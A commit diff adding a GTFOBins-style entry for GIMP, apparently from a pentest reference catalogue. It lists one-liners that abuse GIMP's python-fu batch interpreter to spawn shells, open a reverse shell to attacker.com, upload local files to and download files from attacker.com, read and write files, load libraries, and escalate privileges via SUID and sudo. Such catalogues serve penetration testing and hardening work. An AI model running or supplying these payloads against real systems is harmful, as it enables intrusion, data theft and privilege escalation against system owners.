Add gimp thanks to https://twitter.com/Geluchat/status/1083743529388687361

_gtfobins/gimp.md

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+---
+functions:
+  shell:
+    - code: gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'
+  reverse-shell:
+    - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        gimp -idf --batch-interpreter=python-fu-eval -b 'import sys,socket,os,pty;s=socket.socket()
+        s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
+        [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+        pty.spawn("/bin/sh")'
+  file-upload:
+    - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
+      code: |
+        export URL=http://attacker.com/
+        export LFILE=file_to_send
+        gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
+        if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
+        else: import urllib as u, urllib2 as r
+        r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
+    - description: Serve files in the local folder running an HTTP server.
+      code: |
+        export LPORT=8888
+        gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
+        if sys.version_info.major == 3: import http.server as s, socketserver as ss
+        else: import SimpleHTTPServer as s, SocketServer as ss
+        ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'
+  file-download:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
+        if sys.version_info.major == 3: import urllib.request as r
+        else: import urllib as r
+        r.urlretrieve(e["URL"], e["LFILE"])'
+  file-write:
+    - code: |
+        LFILE=file_to_write
+        gimp -idf --batch-interpreter=python-fu-eval -b 'open("file_to_write", "wb").write("DATA")'
+  file-read:
+    - code: gimp -idf --batch-interpreter=python-fu-eval -b 'print(open("file_to_read").read())'
+  library-load:
+    - code: gimp -idf --batch-interpreter=python-fu-eval -b 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
+  suid:
+    - code: ./gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'
+  sudo:
+    - code: sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'
+---